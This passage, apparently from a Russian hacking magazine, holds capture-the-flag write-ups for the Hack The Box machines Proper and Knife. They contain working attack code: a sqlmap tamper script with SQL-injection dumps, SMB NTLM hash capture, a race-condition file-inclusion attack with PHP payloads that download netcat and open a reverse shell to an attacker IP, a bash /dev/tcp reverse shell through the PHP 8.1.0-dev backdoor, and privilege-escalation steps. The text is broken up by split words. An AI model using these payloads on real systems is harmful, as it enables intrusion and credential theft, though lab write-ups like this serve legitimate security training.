ельн­ ое скан­ иров­ ание, с использ­ ование­ м имею­ щихс­ я скрипт­ ов (опция -A). Рез­ ульт­ ат работы скрипт­ а По результ­ атам скан­ иров­ ания имее­ м всег­ о один открыт­ ый порт  — 80, там отклик­ аетс­ я веб‑серв­ ер Microsoft IIS httpd 10.0. Прист­ упае­ м к осмотру сайт­ а. Главн­ ая стран­ ица сайт­ а Сканирование веб-контента На самом сайт­ е зацепитьс­ я не за что, поэтом­ у вруб­ аем перебор каталог­ ов. Справка: сканирование веб-сайта Скан­ иров­ ание сайт­ а методом перебор­ а каталог­ ов и  файл­ ов по  слов­ арю  — это одно из перв­ ых дейс­ твий при пент­ есте веб‑прил­ ожен­ ия. Для этог­ о обыч‐­ но прим­ еняю­ т dirsearch, DIRB или  более быст­ рый gobuster. Мы же в  этой статье будем использ­ овать встрое­ нные средст­ ва Burp Suite. Пер­ ехв­ атывае­ м запр­ ос в  Burp Proxy и  в конт­ екст­ ном меню выбирае­ м Engagement tools → Discover content. Указ­ ывае­ м глуб­ ину скан­ иров­ ания, инте‐­ ресую­ щие нас расш­ ирения файл­ ов и бэкапов. Наст­ ройк­ и Burp Discover content Спуст­ я неск­ ольк­ о минут (если ты, как  и я, выбр­ ал  200  потоков для  скан­ иро‐­ вания) получим карт­ у сайт­ а, отталкив­ аясь от которой будем опред­ елять сле‐­ дующий вект­ ор атак­ и. Карт­ а сайт­ а proper.htb Я посм­ отрел все комм­ ентар­ ии на  всех стран­ ицах (в конт­ екст­ ном меню Engagement tools → Find comments), но  снов­ а ничего важн­ ого. А  вот файл products-ajax.php прин­ имае­ т какие‑то необычн­ ые параметр­ ы. Закинем этот запр­ ос в Burp Repeater для тест­ а. В таких случ­ аях стои­ т получить все воз‐­ можные ответ­ ы от серв­ ера при разн­ ом количест­ ве параметр­ ов и даже их раз‐­ ном знач­ ении. Так, если удал­ ить один из  параметр­ ов, то получае­ м ошибк­ у, содерж­ ащую соль. А если измен­ ить знач­ ение любого из параметр­ ов, то нам сообщ­ ат об обнар­ ужен­ ии атак­ и. Запр­ ос без одног­ о параметр­ а Запр­ ос с измен­ енн­ ым знач­ ение­ м одног­ о из параметр­ ов Так как  использ­ уетс­ я соль, параметр h, скор­ ее всег­ о, хеш MD5  от  знач­ ения параметр­ а order. Если его измен­ ить, это  прив­ едет к  ошибк­ е, что под‐­ тверждае­ т нашу догадк­ у. Чтоб­ ы это  пров­ ерить, нужн­ о попр­ обовать все воз‐­ можные вариа­ нты хеширов­ ания с  использ­ ование­ м соли. Их можн­ о найт­ и в справк­ е к прогр­ амме John the Ripper. john --list=subformats | grep md5 Вар­ иант­ ы хеширов­ ания MD5 с использ­ ование­ м соли Для опред­ елен­ ия алгор­ итм­ а нам нужн­ о созд­ ать слов­ арь (word), содерж­ ащий строк­ у id desc, и файл с хешем и солью (hash), записанн­ ыми через знак дол‐­ лара: hash$salt. Затем перебир­ аем все возм­ ожные форм­ аты. Чтоб­ ы сдел­ ать это быст­ ро, напишем скрипт Bash, который будет парс­ ить форм­ ат из вывода справк­ и, а затем прим­ енять его в команд­ е брут­ а хеша. Снач­ ала устан­ овим перенос строк­ и в качест­ ве разд­ елител­ я (IFS), а потом будем в  цикл­ е получать кажд­ ую строк­ у из  справк­ и (переменн­ ая entry). Для  кажд­ ой такой строк­ и (напр­ имер, Format = dynamic_29 type = dynamic_29: md5(utf16($p))) будем парс­ ить форм­ ат: 1. Ком­ анд­ ой tr -d ' ' удал­ яем из  строк­ и все проб­ елы (результ­ ат: Format=dynamic_29 type=dynamic_29:md5(utf16($p))). 2. Ком­ анд­ ой cut -d '=' -f 3 разд­ еляе­ м строк­ у по симв­ олу = и получае­ м третью часть (результ­ ат: dynamic_29:md5(utf16($p))). 3. Ком­ анд­ ой cut -d ':' -f 1 разд­ еляе­ м строк­ у по симв­ олу : и получае­ м перв­ ую часть (результ­ ат: dynamic_29). Зат­ ем выполн­ яем перебор по  полученн­ ому алгор­ итм­ у (john -- format=$format --wordlist=word hash). Так выгл­ ядит полн­ ый скрипт: #!/bin/bash IFS=$' ' for entry in $(john --list=subformats | grep md5) do format=\"$(echo $entry | tr -d ' ' | cut -d '=' -f 3 | cut -d ':' -f 1)\" echo -e \"\\nFormat: $format ---------------------------------\\n\" john --format=$format --wordlist=word hash done Рез­ ульт­ ат перебор­ а алгор­ итм­ ов Для форм­ ата dynamic_4 (salt + word) перебор законч­ ился успешно. Так мы подт­ верждае­ м свое предп­ оложен­ ие и  получае­ м иском­ ый алгор­ итм хеширо‐­ вания с использ­ ование­ м соли. Пров­ ерк­ а алгор­ итм­ а хеширов­ ания с использ­ ование­ м соли ТОЧКА ВХОДА Теп­ ерь мы можем манипул­ иров­ ать знач­ ение­ м параметр­ ов так, чтоб­ ы они обраб­ атыв­ ались прил­ ожен­ ием. Текст ошибк­ и натолк­ нул меня на  мысль, что можн­ о было бы написать tamper для sqlmap, хотя мы пока так и не устан­ овил­ и дост­ оверн­ о, есть ли здесь возм­ ожность SQL-инъе­ кции. INFO Темп­ еры — это скрипт­ ы для sqlmap, которые пре‐­ образ­ уют его запр­ осы. #!/usr/bin/env python from hashlib import md5 from urllib.parse import quote_plus from lib.core.enums import PRIORITY __priority__ = PRIORITY.NORMAL def tamper(payload, **kwargs): ''' ''' h = md5(b\"hie0shah6ooNoim\" + payload.encode()).hexdigest() return quote_plus(payload) + \"&h=\" + h Этот файл (я назв­ ал его sqlmap_tamper.py) нужн­ о разм­ естить в директ­ ории /usr/share/sqlmap/tamper, посл­ е чего запуск­ аем sqlmap и пров­ еряе­ м, есть ли уязв­ имость. Нам нужн­ о указ­ ать наш темп­ ер в  параметр­ е tamper, задать опцию -p для  пров­ ерк­ и, а  такж­ е то, что мы не  хотим использ­ овать кодиро‐­ вание URL. sqlmap -u \"http://10.10.10.231/products-ajax.php?order=1\" -p order --batch --skip-urlencode --tamper=sqlmap_tamper Рез­ ульт­ ат выполн­ ения sqlmap И мы попали в точк­ у: прил­ ожен­ ие уязв­ имо к time-based SQL-инъе­ кции, о чем нам и  сообщ­ ил sqlmap. Эта чудо‑прогр­ амма сохр­ анила у  себя шабл­ он наг‐­ рузки для  заданн­ ого URL, поэтом­ у мы можем спок­ ойн­ о прод­ олж­ ать работу и дост­ авать необх­ одимые данн­ ые — к прим­ еру, назв­ ания баз данн­ ых (опция --dbs). sqlmap -u \"http://10.10.10.231/products-ajax.php?order=1\" -p order --skip-urlencode --tamper=sqlmap_tamper --dbs Пол­ учен­ ие имен баз данн­ ых с помощью sqlmap Так мы получае­ м три базы данн­ ых: служ­ ебн­ ая information_schema, тест­ овая test и, скор­ ее всег­ о, нужн­ ая нам база данн­ ых прил­ ожен­ ия  — cleaner. Получим все табл­ ицы из  базы опцие­ й --tables, а  саму базу указ­ ывае­ м в параметр­ е -D. sqlmap -u \"http://10.10.10.231/products-ajax.php?order=1\" -p order --skip-urlencode --tamper=sqlmap_tamper -D cleaner --tables Пол­ учен­ ие табл­ иц в базе cleaner с помощью sqlmap В базе есть три табл­ ицы, и в одной из них долж­ ны быть учетн­ ые данн­ ые. Ско‐­ рее всег­ о, нам подойд­ ет табл­ ица customers. Получим назв­ ания столб­ цов опцие­ й --columns, указ­ ав табл­ ицу в параметр­ е -T. sqlmap -u \"http://10.10.10.231/products-ajax.php?order=1\" -p order --skip-urlencode --tamper=sqlmap_tamper -D cleaner -T customers --columns Пол­ учен­ ие столб­ цов в табл­ ице customers с помощью sqlmap Дейс­ твит­ ельн­ о, нашл­ ись учетн­ ые данн­ ые! Давай получим знач­ ения (опция --dump) из  столб­ цов login и  passwords. Столб­ цы указ­ ывае­ м через запятую в параметр­ е -C. sqlmap -u \"http://10.10.10.231/products-ajax.php?order=1\" -p order --skip-urlencode --tamper=sqlmap_tamper -D cleaner -T customers -C login,password --dump Пол­ учен­ ие учетн­ ых данн­ ых Изв­ леч­ ение данн­ ых прои­ сход­ ит очень долг­ о, поэтом­ у попр­ обуе­ м взлом­ ать уже полученн­ ые хеши. Перебор с солью ни к чему не прив­ ел, поэтом­ у я поп‐­ робовал взлом­ ать хеш без  соли при  помощи md5decrypt.net. Это  дало результ­ ат! Взлом­ анн­ ые пароли польз­ овател­ ей →Продолжение статьи

ВЗЛОМ ← НАЧАЛО СТАТЬИ HTB PROPER ПИШЕМ TAMPER ДЛЯ SQLMAP И ЭКСПЛУАТИРУЕМ RACE CONDITION ЧЕРЕЗ RFI ТОЧКА ОПОРЫ Авт­ оризуе­ мся с полученн­ ыми учетн­ ыми данн­ ыми на сайт­ е. Нам теперь откры‐­ ваютс­ я дополн­ ительн­ ые возм­ ожност­ и, одна из  них  — смен­ а цвет­ овой темы. Прич­ ем интер­ есен сам спос­ об ее смен­ ы: тема устан­ авл­ ивае­ тся через передач­ у GET-параметр­ а theme. Стран­ ица сайт­ а для автор­ изов­ анн­ ых польз­ овател­ ей Стои­ т прот­ ест­ ировать GET-параметр­ ы так же, как и в прошл­ ый раз. Если мы измен­ им или  удал­ им один из  них, то нам сообщ­ ат об  обнар­ ужен­ ии атак­ и. Но  раз мы знае­ м, как  осущ­ еств­ ляе­ тся подп­ ись, давай укаж­ ем знач­ ение, которое будет обраб­ отан­ о серв­ ером, к прим­ еру test. Созд­ ание подп­ иси перв­ ого параметр­ а Ошибк­ а при передач­ е знач­ ения test Уязвимость RFI Как мы видим из текс­ та ошибк­ и, из указ­ анн­ ой нами директ­ ории подк­ люч­ аетс­ я файл header.inc (строк­ а  12) с  помощью функ­ ции file_get_contents, и если в файл­ е отсутст­ вуе­ т посл­ едоват­ ельн­ ость симв­ олов <? (строк­ а 18), то он добавл­ яетс­ я как include (строк­ а 19). Так­ им образ­ ом, обращ­ ение к  файл­ у прои­ сход­ ит дважд­ ы, а  это означ­ ает уязв­ имость к атак­ е типа race condition: перед пров­ ерк­ ой и включ­ ение­ м файл­ а его содерж­ имое возм­ ожно измен­ ить. Теп­ ерь пров­ ерим наличие уязв­ имост­ и remote file inclusion (RFI). Для этог­ о запуст­ им локальн­ ый веб‑серв­ ер на основ­ е Python 3, разм­ естим в этой дирек‐­ тории файл header.inc с  любым содерж­ имым, созд­ адим подп­ ись для  зап‐­ роса файл­ а на нашем серв­ ере и затем выполн­ им запр­ ос. echo \"test\" > header.inc echo -n 'hie0shah6ooNoimhttp://10.10.14.137' | md5sum python3 -m http.server 80 Созд­ ание подп­ иси Вып­ олн­ ение запр­ оса Утечка хеша NTLM Посл­ е выполн­ ения запр­ оса в логах веб‑серв­ ера увид­ им обращ­ ение к файл­ у header.inc. В ответ­ е опять ошибк­ а — на серв­ ере отключ­ ен http://. Давай попр­ обуе­ м прот­ окол SMB, в  этом нам поможет скрипт smbserver из  пакета impacket. Запуст­ им локальн­ ый SMB-серв­ ер, сген­ ерир­ уем новую подп­ ись и повт­ орим запр­ ос. echo -n 'hie0shah6ooNoim//10.10.14.137/v' | md5sum smbserver.py -ip 10.10.14.137 -smb2support v . Созд­ ание подп­ иси Вып­ олн­ ение запр­ оса Теп­ ерь видим уже друг­ ую ошибк­ у, а  такж­ е попытк­ у подк­ люч­ ения к  нашему SMB-серв­ еру. Скор­ ее всег­ о, пробл­ емы с аутент­ ификац­ ией. В логах серв­ ера мы видим имя польз­ овател­ я и хеш NTLMv2. Лог­ и SMB-серв­ ера Дав­ ай попр­ обуе­ м сбрут­ ить его с помощью hashcat. web::PROPER:aaaaaaaaaaaaaaaa:62b...00 > hash.txt hashcat -m 5600 -a 0 hash.txt ~/tmp/tools/rockyou.txt Рез­ ульт­ ат перебор­ а хеша польз­ овател­ я web Теп­ ерь снов­ а запуст­ им наш SMB-серв­ ер, но  уже с  аутент­ ификац­ ией, указ­ ав учетн­ ые данн­ ые целевог­ о польз­ овател­ я. Затем прост­ о повт­ орим запр­ ос к веб‑серв­ еру. smbserver.py -ip 10.10.14.137 -username web -password 'charlotte123!' -smb2support v . Вып­ олн­ ение запр­ оса На стран­ ице отобр­ азилось содерж­ имое файл­ а header.inc с  нашего SMB- серв­ ера. Уязвимость race condition Теп­ ерь, когд­ а все готово, перейд­ ем к  атак­ е race condition. Нужн­ о созд­ ать на  Bash скрипт, который стан­ ет беск­ онечн­ о перепис­ ывать заново знач­ ение файл­ а header.inc. Так как  полн­ ое копиров­ ание файл­ а будет быст­ рее, чем прои­ звольн­ ая полн­ ая запись в  файл, мы сдел­ аем два файл­ а test.txt и shell.txt со след­ ующим содерж­ имым: # test.txt test # shell.txt <?php system(\"cmd /c powershell wget http://10.10.14.137/nc64.exe -O C:\\\\windows\\\\system32\\\\spool\\\\drivers\\\\color\\\\nc64.exe\"); ?> А теперь сам скрипт race.sh. #!/bin/bash while :; do cp test.txt header.inc cp shell2.txt header.inc done Зап­ уск­ аем его, не  забыв в  директ­ ории веб‑серв­ ера разм­ естить nc64.exe, и переход­ им в Burp. Запр­ ос из Burp Repeater пересыл­ аем в Burp Intruder и в наст­ ройк­ ах задае­ м тип нагр­ узки Null Payload и количест­ во потоков — 1. Burp Intruder, вкладк­ а Payloads Burp Intruder, вкладк­ а Options Посл­ е запуск­ а атак­ и нужн­ о набл­ юдать за  логами веб‑серв­ ера и  пост­ авить атак­ у на паузу, как тольк­ о там появитс­ я обращ­ ение к файл­ у nc64.exe. Лог­ и веб‑серв­ ера Так как netcat на серв­ ер уже загр­ ужен, перейд­ ем к реверс‑шелл­ у. Справка: реверс-шелл Обр­ атный шелл — это подк­ люч­ ение, которое актив­ ируе­ т атак­ уемая машина, а  мы прин­ имае­ м и  таким образ­ ом подк­ люч­ аемс­ я к  ней, чтоб­ ы выполн­ ять команд­ ы от  лица польз­ овател­ я, который запуст­ ил шелл. Для  прие­ ма соеди‐­ нения необх­ одимо созд­ ать на  локальн­ ой машине listener, то есть «слу‐­ шатель». В таких случ­ аях удобн­ о использ­ овать rlwrap  — readline-обол­ очк­ у, которая в числ­ е проч­ его позв­ оляе­ т польз­ оватьс­ я истор­ ией команд. Она обычн­ о дос‐­ тупна в репозит­ ории дист­ риб­ утив­ а — прост­ о выполн­ и apt install rlwrap. В качест­ ве самого лист­ енера при  этом можн­ о использ­ овать широко извест­ ный netcat: rlwrap nc -lvp 4321 А теперь измен­ им файл shell.txt. <?php system(\"cmd /c start C:\\\\windows\\\\system32\\\\spool\\\\drivers\\\\ color\\\\nc64.exe -e cmd.exe 10.10.14.137 4321\"); ?> Снов­ а запуст­ им скрипт race.sh, прод­ олж­ им атак­ у Burp Intruder и остан­ овим, когд­ а в окне лист­ енера появитс­ я бэкк­ оннект. Флаг польз­ овател­ я Так мы получае­ м флаг польз­ овател­ я. ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ Теп­ ерь, когд­ а мы получил­ и дост­ уп к  хост­ у, нам необх­ одимо собр­ ать информац­ ию. Я, как обычн­ о, делаю это при помощи скрипт­ ов PEASS. Справка: скрипты PEASS для Windows Что делать посл­ е того, как  мы получил­ и дост­ уп в  сист­ ему от  имен­ и поль‐­ зовател­ я? Вариа­ нтов дальн­ ейшей эксп­ луа­ тац­ ии и  повышен­ ия прив­ илег­ ий может быть очень мног­ о, как  в Linux, так и  в Windows. Чтоб­ ы собр­ ать информац­ ию и  наметить цели, можн­ о использ­ овать Privilege Escalation Awesome Scripts SUITE (PEASS)  — набор скрипт­ ов, которые пров­ еряю­ т сис‐­ тему на автом­ ате. Загр­ узим на локальн­ ый хост скрипт для Windows. wget https://github.com/carlospolop/privilege-escalation-awesome- scripts-suite/raw/master/winPEAS/winPEASexe/binaries/x64/Release/ winPEASx64.exe -O wpeas.exe Теп­ ерь нужн­ о загр­ узить его на  удал­ енн­ ый хост. Делае­ м это  через уже запущенн­ ый веб‑серв­ ер python3 с помощью того же powershell wget. Пос‐­ ле загр­ узки необх­ одимо выполн­ ить скрипт. powershell wget http://10.10.14.137/wpeas.exe -O C:\\windows\\system32\\ spool\\drivers\\color\\wpeas.exe C:\\windows\\system32\\spool\\drivers\\color\\wpeas.exe Из всег­ о, что я выделил, пока просм­ атрив­ ал скрипт, ничего к явном­ у повыше‐­ нию прив­ илег­ ий прив­ ест­ и не  может. Однак­ о сред­ и запущенн­ ых служб есть одна самописн­ ая, и этим стои­ т поинт­ ересов­ атьс­ я. Обн­ аруженн­ ая с помощью winpeas служб­ а В директ­ ории Program Files находим и  директ­ орию служб­ ы Cleanup, которая содерж­ ит опис­ ание, и два исполняе­ мых файл­ а: серв­ ерная и клие­ нт‐­ ская част­ и. Сод­ ерж­ имое директ­ ории Cleanup Загр­ узим оба файл­ а на  локальн­ ый хост для  анал­ иза. В  этом может помочь уже загр­ уженн­ ый на хост Nmap. Можн­ о использ­ овать машину с Windows, но я работаю в вирт­ уалк­ е, так как основная сист­ ема — Linux. Начн­ ем с клие­ нта. Прост­ о запуст­ ив его, мы тут же получим ошибк­ у, связ­ ан‐­ ную с  имен­ ованн­ ым каналом \\\\.\\pipe\\cleanupPipe. Такж­ е обрат­ им вни‐­ мание на вывод текущег­ о пути. Ошибк­ а при запуск­ е клие­ нтс­ кой част­ и прил­ ожен­ ия Есл­ и закинуть файл в  дизасс­ емб­ лер, то сраз­ у узнае­ м, что для  его созд­ ания был использ­ ован язык прогр­ аммир­ ован­ ия Go. В  бинарн­ иках, написанн­ ых на Go, выполн­ ение начинае­ тся с функ­ ции main_main(). Найд­ ем ее в списк­ е функ­ ций (он будет очень больш­ ой) и перейд­ ем к ее предс­ тавл­ ению. Там мы можем узнать, что у клие­ нта есть параметр -R (в шест­ надц­ атеричн­ ом виде — 522Dh), который прин­ имае­ т команд­ ы RESTORE или  CLEAN. Если прогр­ амма запущен­ а без этог­ о параметр­ а, то по умолч­ анию выполн­ яетс­ я CLEAN. Фрагм­ ент граф­ а функ­ ции main_main В зависим­ ост­ и от того, какая команд­ а выполн­ яетс­ я, может быть вызв­ ана фун‐­ кция main_clean (красн­ ый блок) или main_restore (синий блок). Фрагм­ ент граф­ а функ­ ции main_main Эти функ­ ции нужн­ ы для  вызова функ­ ций main_serviceClean и main_serviceRestore, межд­ у которым­ и лишь небольш­ ое разл­ ичие. В обе‐­ их функ­ ция­ х открыв­ аетс­ я уже знак­ омый нам имен­ ованн­ ый канал. Подк­ люч­ ение к имен­ ованн­ ому каналу Зат­ ем в  обеи­ х функ­ ция­ х прои­ сход­ ит отправк­ а команд­ ы и  введ­ енн­ ой поль‐­ зовател­ ем строк­ и, то есть в  пайп cleanupPipe пишутс­ я строк­ и CLEAN %s или RESTORE %s, где %s — польз­ овательс­ кий ввод. Фрагм­ ент граф­ а функ­ ции main_serviceClean Фрагм­ ент граф­ а функ­ ции main_serviceRestore Дав­ ай пров­ ерим полученн­ ую информац­ ию. Для  этог­ о запуст­ им серв­ ер и  передад­ им в  пайп данн­ ые как  с помощью клие­ нта, так и  прост­ о из  коман‐­ дной строк­ и. Взаи­ мод­ ейс­ твие с серв­ ером Можн­ о заметить, что при  передач­ е команд­ ы через команд­ ную строк­ у обре‐­ заетс­ я посл­ едний симв­ ол (вывод серв­ ера в  перв­ ом и  третье­ м случ­ ае оди‐­ наков). При  этом нам говорят, что соотв­ етст­ вую­ щег­ о файл­ а обнар­ ужен­ о не было. О файл­ е речь шла и при самом перв­ ом запуск­ е. Давай укаж­ ем прог‐­ рамме путь к файл­ у. Тест­ ирован­ ие прогр­ аммы при передач­ е файл­ а Ник­ аких ошиб­ ок нет, при этом переданн­ ый файл исчез. Так как до этог­ о соот‐­ ветст­ вую­ щий файл прогр­ амма пыталась найт­ и в  директ­ ории C:\\ ProgramData\\Cleanup, загл­ янем в нее. Сод­ ерж­ имое целевой директ­ ории Дек­ одир­ ован­ ие строк­ и Base64 Мы нашл­ и файл, назв­ ание которог­ о  — это  полн­ ый путь отправл­ енног­ о нами файл­ а, закодир­ ованн­ ый Base64. А восс­ тан­ овить этот файл поможет команд­ а RESTORE. Восс­ тан­ овл­ ение файл­ а Исх­ одный файл был прео­ браз­ ован и  перемещ­ ен в  директ­ орию Cleanup, а потом восс­ тан­ овл­ ен из нее. Выходит, мы можем получить дост­ уп к любому файл­ у, если смож­ ем манипул­ иров­ ать путями. Давай сдел­ аем след­ ующее: 1. В директ­ ории созд­ аем ссылк­ у на  директ­ орию админ­ а, тогд­ а C:\\Users\\ root\\Documents\\test\\ будет указ­ ывать на C:\\Users\\root\\Desktop\\. Созд­ ание ссылк­ и 2. Сохр­ аняе­ м с помощью прогр­ аммы файл по ссылк­ е. Сохр­ анение файл­ а по одном­ у пути 3. Так как  путь для  восс­ тан­ овл­ ения файл­ а сохр­ анен в  текс­ тов­ ом виде (Base64), мы удал­ яем ссылк­ у и  созд­ аем директ­ орию с  таким же имен­ ем. Тогд­ а при  восс­ тан­ овл­ ении файл­ а он будет сохр­ анен не  по ссылк­ е, а  в локальн­ ую директ­ орию. Восс­ тан­ овл­ ение файл­ а по друг­ ому пути Исп­ ольз­ уем этот эксп­ лои­ т уже на серв­ ере: mklink /j r_exploit C:\\Users\\Administrator\\Desktop echo CLEAN C:\\Users\\Web\\Documents\\r_exploit\\root.txtr > \\\\.\\pipe\\ cleanupPipe rmdir r_exploit mkdir r_exploit echo RESTORE C:\\Users\\Web\\Documents\\r_exploit\\root.txtr > \\\\.\\pipe\\ cleanupPipe type r_exploit\\root.txt Файл рута Мы получил­ и флаг рута и захв­ атили машину.

ВЗЛОМ HTB KNIFE ЭКСПЛУАТИРУЕМ НАШУМЕВШИЙ БЭКДОР В ЯЗЫКЕ PHP Сег­ одн­ я мы с  тобой пройд­ ем легк­ ую RalfHacker машину под  назв­ ание­ м Knife с  площ­ адк­ и [email protected] Hack The Box. Ее изюм­ инк­ а — это поразив‐­ ший всех, но  быст­ ро обнар­ уженн­ ый и  запатч­ енный бэкд­ ор в  PHP 8.1.0-dev. Мы разб­ еремс­ я, что же все‑таки делать, если вдруг попалась такая экзот­ ика, а  такж­ е пройд­ ем весь путь от  поиск­ а уязв­ имост­ ей до захв­ ата хост­ а. WARNING Подк­ люч­ атьс­ я к  машинам с  HTB рекоменд­ уетс­ я тольк­ о через VPN. Не делай этог­ о с компью­ тер­ ов, где есть важн­ ые для тебя данн­ ые, так как ты ока‐­ жешьс­ я в общей сети с друг­ ими участ­ ник­ ами. РАЗВЕДКА Сканирование портов Доб­ авл­ яем IP машины в /etc/hosts, чтоб­ ы дальш­ е обращ­ атьс­ я по удобн­ ому адрес­ у и не печатать IP. 10.10.10.242 knife.htb И скан­ ируе­ м порт­ ы. Справка: сканирование портов Скан­ иров­ ание порт­ ов — станд­ арт­ ный перв­ ый шаг при любой атак­ е. Он поз‐­ воляе­ т атак­ ующем­ у узнать, какие служб­ ы на  хост­ е прин­ имаю­ т соедин­ ение. На  основ­ е этой информац­ ии выбирае­ тся след­ ующий шаг к  получен­ ию точк­ и вход­ а. Наи­ бол­ ее извест­ ный инст­ рум­ ент для скан­ иров­ ания — это Nmap. Улучш­ ить результ­ аты его работы ты можешь при помощи след­ ующег­ о скрипт­ а. #!/bin/bash ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\\n' ',' | sed s/,$//) nmap -p$ports -A $1 Он дейс­ твуе­ т в  два этап­ а. На  перв­ ом прои­ звод­ итс­ я обычн­ ое быст­ рое ска‐­ ниров­ ание, на втор­ ом — более тщат­ ельн­ ое скан­ иров­ ание, с использ­ ование­ м имею­ щихс­ я скрипт­ ов (опция -A). Рез­ ульт­ ат скан­ иров­ ания Мы набл­ юдае­ м два открыт­ ых порт­ а: 22 (служб­ а SSH) и  80 (Apache 2.4.41). На SSH нам пока делать нечего, поэтом­ у будем изуч­ ать сайт. Главн­ ая стран­ ица сайт­ а На самом сайт­ е не находим ничего интер­ есн­ ого — там есть неск­ ольк­ о скрип‐­ тов на JS, но они для нас бесп­ олезн­ ы. Нам нужн­ о пров­ ест­ и более глуб­ окий анал­ из. Для  этог­ о есть, к  прим­ еру, утил­ ита WhatWeb  — она расп­ ознае­ т веб‑техн­ ологии, в  том числ­ е сист­ ему управлен­ ия конт­ ентом (CMS), платф­ ормы для ведения блог­ ов, пакеты стат­ ис‐­ тики и анал­ итик­ и, библ­ иотек­ и JavaScript, веб‑серв­ еры и друг­ ие вещи. К тому же к  WhatWeb есть более  1700  плаг­ инов, которые можн­ о использ­ овать в  агрессивн­ ом режиме скан­ иров­ ания. Но  если запуст­ ить прогр­ амму с  нас‐­ тройк­ ами по умолч­ анию, то будет выполн­ ен всег­ о один запр­ ос. Рез­ ульт­ ат скан­ иров­ ания WhatWeb Из всей предс­ тавл­ енной информац­ ии наибол­ ее интер­ есен заголов­ ок X-Powered-By, по  котором­ у опред­ елим верс­ ию PHP 8.1.0-dev. Слов­ о dev означ­ ает, что верс­ ия PHP тест­ овая, а  знач­ ит, в  ней могут быть уязв­ имост­ и. Поищем их! Справка: поиск готовых эксплоитов При пент­ есте лучш­ е всег­ о искать эксп­ лои­ ты при  помощи Google, поск­ ольк­ у этот поиск­ овик загл­ ядывае­ т и в личн­ ые блог­ и, и в самые разн­ ые отчет­ ы. Уско‐­ рят дело спец­ иализ­ иров­ анн­ ые базы врод­ е Exploit-DB  — там част­ о можн­ о обнар­ ужить подх­ одящие вариа­ нты. Если ты работае­ шь в  спец­ иализ­ иров­ ан‐­ ной ОС врод­ е Kali Linux, то эта база у  тебя уже есть и  для поиск­ а можн­ о использ­ овать утил­ иту searchsploit. Пои­ ск эксп­ лои­ тов для PHP 8.1.0-dev Это как  раз тот случ­ ай, когд­ а searchsploit нам не  помогл­ а, а  вот в  Google удал­ ось найт­ и кое‑что интер­ есн­ ое. ТОЧКА ОПОРЫ Верс­ ия PHP 8.1.0-dev была выпущен­ а с бэкд­ ором, но разр­ аботч­ ики быст­ ро обнар­ ужил­ и его и удал­ или в релизе. Есл­ и эта верс­ ия PHP работае­ т на серв­ ере, злоу­ мышл­ енник может выпол‐­ нить прои­ звольн­ ый код, отправ­ ив заголов­ ок User-Agentt. Как  можн­ о заметить, если изуч­ ить исх­ одник­ и, код выполн­ яетс­ я в  функ­ ции zend_eval_string, если строк­ а из HTTP-заголовк­ а User-Agentt начинае­ тся с zerodium. Уязв­ имый код из репозит­ ория на GitHub Для эксп­ луа­ тац­ ии уязв­ имост­ и можн­ о использ­ овать эксп­ лои­ т Ричард­ а Джонс­ а, он даст нам RCE. python3 php_8.1.0-dev.py -u http://knife.htb/ -c 'id' Рез­ ульт­ ат работы эксп­ лои­ та И сраз­ у кидае­ м реверс‑шелл. Справка: реверс-шелл Обр­ атный шелл — это подк­ люч­ ение, которое актив­ ируе­ т атак­ уемая машина, а  мы прин­ имае­ м и  таким образ­ ом подк­ люч­ аемс­ я к  ней, чтоб­ ы выполн­ ять команд­ ы от  лица польз­ овател­ я, который запуст­ ил шелл. Для  прие­ ма соеди‐­ нения необх­ одимо созд­ ать на  локальн­ ой машине listener, то есть «слу‐­ шатель». В таких случ­ аях приг­ одитс­ я rlwrap  — readline-обол­ очк­ а, которая в  числ­ е проч­ его позв­ оляе­ т польз­ оватьс­ я истор­ ией команд. Она обычн­ о дост­ упна в репозит­ ории дист­ риб­ утив­ а. apt install rlwrap В качест­ ве самого лист­ енера при  этом можн­ о использ­ овать широко извес‐­ тный netcat. rlwrap nc -lvp [port] Вып­ олн­ яем подк­ люч­ ение и ловим бэкк­ оннект. python3 php_8.1.0-dev.py -u http://knife.htb/ -c \"/bin/bash -c 'bash -i >&/dev/tcp/[ip]/[port] 0>&1'\" Бэкк­ оннект от серв­ ера В директ­ ории /home/james/.ssh находим пару ключ­ ей польз­ овател­ я. Так как соедин­ ение SSH более стаб­ ильн­ ое, копируе­ м прив­ атн­ ый ключ на локаль‐­ ный хост, назн­ ачае­ м прав­ а 0600 и подк­ люч­ аемс­ я к хост­ у. Так мы берем флаг польз­ овател­ я. chmod +x id_rsa ssh -i ./id_rsa [email protected] Флаг польз­ овател­ я ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ Перв­ ым делом пров­ еряе­ м наибол­ ее вероя­ тные мест­ а повышен­ ия прив­ иле‐­ гий — в перв­ ую очер­ едь наст­ ройк­ и sudoers. Справка: sudoers Файл /etc/sudoers в Linux содерж­ ит списк­ и команд, которые разн­ ые групп­ ы польз­ овател­ ей могут выполн­ ять от  имен­ и админ­ ист­ рат­ ора сист­ емы. Можн­ о просм­ отреть его как напр­ ямую, так и при помощи команд­ ы sudo -l. sudoers В sudoers проп­ исан прив­ илег­ иров­ анн­ ый запуск прогр­ аммы /usr/bin/knife без  пароля (NOPASSWD). Этот файл  — ссылк­ а на  прогр­ амму в  директ­ ории /opt, которая, возм­ ожно, связ­ ана с язык­ ом прогр­ аммир­ ован­ ия Ruby. Об этом говорит упом­ инан­ ие слов­ а gem, что, скор­ ее всег­ о, указ­ ывае­ т на  исполь‐­ зование сист­ емы управлен­ ия пакетам­ и RubyGems. Подр­ обное предс­ тавл­ ение ссылк­ и /usr/bin/knife Сод­ ерж­ имое директ­ ории /opt/chef-workstation Посм­ отрим справк­ у прил­ ожен­ ия. Здесь интер­ есн­ а команд­ а exec, которая прин­ имае­ т один аргум­ ент  — путь к  скрипт­ у (не счит­ ая аргум­ ент­ ов самого скрипт­ а). Справк­ а для команд­ ы exec прогр­ аммы knife Что это за скрипт, не говоритс­ я, но мы помн­ им намек на RubyGems. Сдел­ аем тест­ овый скрипт на  Ruby, который выводит строк­ у Hello World!, и  отдад­ им его прил­ ожен­ ию. echo 'puth \"Hello World!\"' > test.rb sudo /usr/bin/knife exec test.rb Зап­ уск целевог­ о прил­ ожен­ ия c созд­ анным скрипт­ ом Скрипт успешно отраб­ отал, а знач­ ит, остал­ ось лишь измен­ ить его, чтоб­ ы он выполн­ ял нужн­ ые нам команд­ ы. Использ­ овать 